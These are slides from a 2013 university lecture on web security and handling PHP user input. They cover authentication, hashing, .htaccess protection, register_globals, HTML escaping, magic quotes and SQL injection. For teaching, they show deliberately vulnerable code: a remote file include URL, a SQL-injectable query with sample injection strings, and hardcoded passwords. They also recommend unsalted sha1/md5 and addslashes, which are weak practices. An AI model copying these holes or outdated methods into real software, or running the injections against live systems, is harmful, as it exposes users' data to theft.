Lecture 5 – Security and User Input

INLS 760
Web Databases
Spring 2013
Rob Capra

Security

- What data should be stored on a web server?
  - HTTP logs?
  - Users' account information? Passwords?
- Possible harms
  - Exposure of confidential data
  - Loss of data
    - Hackers, programming errors, hardware failures
- Considerations
  - Limit information, limit access
  - What services are running on the server?
  - Authentication mechanisms
  - Regular, routine backups; RAID; offsite storage

Authentication

- How do I know you are who you say you are?
- Mechanisms
  - Usernames and passwords
    - Identity claim + verification (separate steps)
  - Biometrics
  - SecurID

Encryption

- Plain text → Encryption → Ciphertext
- Private key encryption
  - Uses a secret key known to both parties
  - Examples: DES, RC4, triple DES, IDEA
- Public key encryption
  - Plain text → encrypt w/public key → ciphertext
  - Ciphertext → decrypt w/private key → plain text

SSL/TSL/CA

- Certificate Authorities
  - CAs are third parties
  - Issue digital certificates that verify that entity X owns public key Y
  - http://en.wikipedia.org/wiki/Certificate_authority
- Secure Socket Layer
- Transport Layer Security
  - http://en.wikipedia.org/wiki/Secure_Sockets_Layer#Description

- More on security in a minute.
- But first....
  - Let’s review user input using forms and PHP

HTML Forms and PHP

- HTML: `lect2/form1.html`

```
<head>
   <title>HTML Forms and PHP Test 1</title>
</head>
<body>
   <h1>HTML Forms and PHP Test 1</h1>
   <form method="post" action="form1.php">
      Name:   <input type="text" name="name">
      <p>
      Course: <input type="text" name="course">
      <p>
      <input type="submit" value="Send">
   </form>
</body>
```

$_GET and $_POST

- PHP *superglobal* associative arrays
- Hold information sent from an HTML form
- PHP automagically places each form variable value into:

  $ _GET[formvariablename] or

  $_POST[formvariablename]

HTML Forms and PHP

- PHP: `lect2/form1.php`

```
<?php
   echo "Hello, " .
        htmlspecialchars(strip_tags($_GET['name']));
   echo "<br>";
   echo "You are in the course: " .
        htmlspecialchars(strip_tags($_GET['course']));
?>
```

Dropping in and out of PHP

- PHP: `lect2/form2.php`

```
<h1>Form 2 test</h1>
Hello,
<?php htmlspecialchars(strip_tags($_GET['name'])); ?>
<br>
You are in the course: 
<?php htmlspecialchars(strip_tags($_GET['course'])); ?>
```

Two changes from form1.php:

1) GET instead of POST
2) PHP mixed with HTML

Simple PHP page protection

- Simple page protection `lect5/onepage.php`
  (based on Ch.16, p.360-361)

```
<?php
   @ $user = $_POST['user'];
   @ $pass = $_POST['pass'];
   if (empty($user) || empty($pass)) {
?>
      You must log in to see this page.<p>
      <form method="post" action="onepage.php">
         Username: <input type="text" name="user"><p>
         Password: <input type="password" name="pass"><p>
         <input type="submit" value="Login">
      </form>
<?php
   } else if ($user=='inls760' && $pass=='foo') {
      echo "Here is the hidden page.<p>";
   } else {
      echo "Incorrect username / password.";
   }
?>
```

Note 1: This is all done in one file.

Note 2: What if `$user='inls760'` Instead of ==

Note 3: @ suppresses any errors

Apache .htaccess

- Apache page protection (based on Ch.16, p.370-372)

.htaccess 644 rw-r--r--

```
AuthUserFile /export/home/r/rcapra/.myhtpass
AuthGroupFile /dev/null
AuthName "PutANameHere"
AuthType Basic
require valid-user
```

Place this file in the directory to protect

```
unixprompt> htpasswd –c .myhtpass username
(press enter, then system will prompt you for password)
   then set to 644 rw-r--r--
```

Encryption in PHP

- PHP sha1() function `lect5/sha1.php`

```
<?php
   echo sha1('mypassword');
?>
```

- Output is:

```
91dfd9ddb4198affc5c194cd8ce6d338fde470e2
```

Encryption in PHP

- Safer alternative to storing passwords in plain text
- Use a one-way hashing algorithm
  - md5, sha1

```
Instead of

  if ($enteredpass == $plaintextstoredpass)

Use this

  if (sha1($enteredpass) == $sha1storedpass)
```

PHP Security

- Many features originally designed to make PHP easy to use also can make it easy to write INSECURE applications.
- Today, we will look at three topics:
  1. PHP variables – register_globals
  2. User input – gpc_magic_quotes, htmlspecialchars, htmlentities, strip_tags
  3. SQL injection – addslashes, stripslashes

PHP variables – register_globals

- register_globals is a setting for all PHP installations
- If “on”, then PHP automatically sets a number of variables for you, such as HTTP forms.
- What is the setting on ruby.ils.unc.edu?
- Example (lect5/regglob1.php):

```
<?php
   echo "The variable fred = $fred\n";
?>
```

- Load this URL:

```
http://www.ils.unc.edu/courses/2008_spring/
  inls760_001/lect5/regglob1.php?fred=12345
```

Refer to: http://us.php.net/manual/en/security.globals.php

PHP variables – register_globals

lect5/regglob2.html

```
<html>
   <h1>register_globals test2</h1>
   <form method="get" action="regglob2.php">
      username:   <input type="text" name="username">
      <p>password: <input type="password" name="password">
      <p><input type="submit" value="Login">
   </form>
</html>
```

---

lect5/regglob2.php

```
<?php
   if (($_GET['username'] == "fred") &&
       ($_GET['password'] == "ethel"))   {  $loggedin = 1;  }

   if ($loggedin == 1) { print "Display super-secret stuff here.\n"; }
   else { print "Access denied.\n";   }
?>
```

1. Bad programming practice
2. register_globals issues
3. How would you fix?

Reference: http://www.devshed.com/c/a/PHP/PHP-Security-Mistakes/

Initialize variables!!!

Don’t let this happen to you:

```
<?php
   include ($incfile);
?>

foo.php?incfile=http://www.foo.com/badbadbad.php
```

Reference: http://www.devshed.com/c/a/PHP/PHP-Security-Mistakes/

User input

- Do NOT trust ANY user input
- How we handle user input depends on what we wish to do with it.
- Common things:
  - Store in a database (e.g. name, address)
  - Display in HTML (back to the user, or to other users)
  - Compare against a stored value (e.g. logging in)

HTML Entities

- Special characters have meaning in HTML

  < > ‘ “ &

- When displaying user input, typically we do not want:
  - These characters to be interpreted as HTML
  - Users to be able to inject HTML or scripts
- Translate these chars to HTML entities
  - < > ' " &

Reference: http://us.php.net/manual/en/function.htmlspecialchars.php

HTML Entities

Function	Undo function	Affects
htmlspecialchars()	htmlspecialchars_decode() *	&, “, ‘, <, >
htmlentities()	html_entity_decode() **	All HTML entities
strip_tags()		HTML and PHP tags

```
<?php
$fred = "rob's saying is <b>" . '"databases & inls are fun</b>"';
$ethel = htmlspecialchars($fred);
$lucy = htmlentities($fred);
$ricky = strip_tags($fred);
echo "FRED = ##" . $fred . "##<p>";
echo "ETHEL = ##" . $ethel . "##<p>";
echo "LUCY = ##" . $lucy . "##<p>";
echo "RICKY = ##" . $ricky . "##<p>";
echo "<hr><h2>Undo</h2>";
//$ethel2 = htmlspecialchars_decode($ethel);
$lucy2 = html_entity_decode($lucy);
//echo "ETHEL2 = ##" . $ethel2 . "##<p>";
echo "LUCY2 = ##" . $lucy2 . "##<p>";
?>
```

lect5/htmlentities.php

*PHP5
**>=PHP4.3

Reference: http://www.w3schools.com/tags/ref_entities.asp

htmlentities and strip_tags

- Be careful to watch the order
  - strip_tags first, then htmlentities (why?)
- Typical use

lect5/form1.php

```
<?php
   $name = htmlentities(strip_tags($_GET['name']));
   $course = htmlentities(strip_tags($_GET['course']));
   echo "Hello, " . $name;
   echo "<br>";
   echo "You are in the course: " . $course;
?>
```

Even strip_tags is no guarantee

- http://www.hardened-php.net/advisory_em122004.101.html

Magic Quotes

- Can be set for PHP<=5.3, going away >5.3
- If “on”, automatically escapes data:
  - Single-quotes, Double-quotes, Backslashes, and NULL characters are escaped with a backslash
- Types:
  - magic_quotes_gpc – GET, POST, COOKIE
  - magic_quotes_runtime – external data sources
  - magic_quotes_sybase – overrides gpc

Reference: http://us2.php.net/manual/en/security.magicquotes.php

Magic Quotes, mysql_real_escape_string, and addslashes

lect5/magicquotes1.html

```
<html>
   <h1>Magic quotes example</h1>
   <form method="get" action="magicquotes1.php">
      Enter text here: 
      <input type="text" name="fred">
      <p>
      <input type="submit" value="Submit">
   </form>
</html>
```

---

lect5/magicquotes1.php

```
<?php
   echo "FORM TEXT = ##" . $_GET['fred'] . "##<p>";
   $ethel = "rob's saying is" . ' "databases are fun"';
   echo "ETHEL = ##" . $ethel . "##<p>";
   $lucy = addslashes($ethel);
   echo "LUCY = ##" . $lucy . "##<p>";
?>
```

mysql_real_escape_string()

Reference: http://php.net/manual/en/function.mysql-real-escape-string.php

Magic Quotes & addslashes

- It is important to know the setting of magic_quotes on your system(s).

```
<?php
if (get_magic_quotes_gpc()) {
   // magic_quotes_gpc is ON
   // so we don't need to do anything
   $fred = $_GET['fred'];
} else {
   // magic_quotes_gpc is OFF
   // so we need to use addslashes
   $fred = addslashes($_GET['fred']);
}
echo "Fred = ##" . $fred . "##<p>";
?>
```

What happens if you use addslashes and magic quotes was already "ON"?

stripslashes

- Stripslashes undoes addslashes

```
<?php
    echo "FORM TEXT = ##" . $_GET['fred'] . "##<p>";
    $ethel = "rob's favorite saying is" . ' "databases are
   fun"';
    echo "ETHEL = ##" . $ethel . "##<p>";
    $lucy = addslashes($ethel);
    echo "LUCY = ##" . $lucy . "##<p>";
    echo "<hr>";
    echo "<h2>Afer stripslashes</h2>";
    $ethel2 = stripslashes($ethel);
    $lucy2 = stripslashes($lucy);
    echo "ETHEL2 = ##" . $ethel2 . "##<p>";
    echo "LUCY2 = ##" . $lucy2 . "##<p>";
?>
```

User input

- Do NOT trust ANY user input
- Use strip_tags to remove any tags/scripts
- Do NOT trust ANY user input
- Use htmlspecialchars and/or htmlentities when displaying
- Do NOT trust ANY user input
- Know the setting of gpc_magic_quote on your system
- Check ALL user input… strings, numbers, everything.
- Do NOT trust ANY user input
- Did I mention, do NOT trust ANY user input?

SQL Injection

- SQL injection attacks attempt to execute SQL statements as part of user input that becomes part of an SQL query

Reference: http://us2.php.net/manual/en/security.magicquotes.php

Injection Example

lect5/injection.php

```
<?php
   $fred = stripslashes($_GET['fred']);
   echo "SW Cantina Products<p>";
   require "/export/home/r/rcapra/dbconnect.php";
   $query = "select * from swcantina where pname = '$fred'";
   $result = mysql_query($query);
   while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
   {
      echo $row['pname'] . " ($" . $row['price'] . ") -- "
            . $row['pdesc'];
      echo "<p>";
   }
?>
```

Then try:

```
   Map of Naboo' or 't'='t
   Map of Naboo'; insert into swcantina values (NULL,'bad',99,'bad'); --
         (this probably doesn't work but could
                  - why not??? hint: see mysql_query docs)
```

Reference: http://en.wikipedia.org/wiki/SQL_injection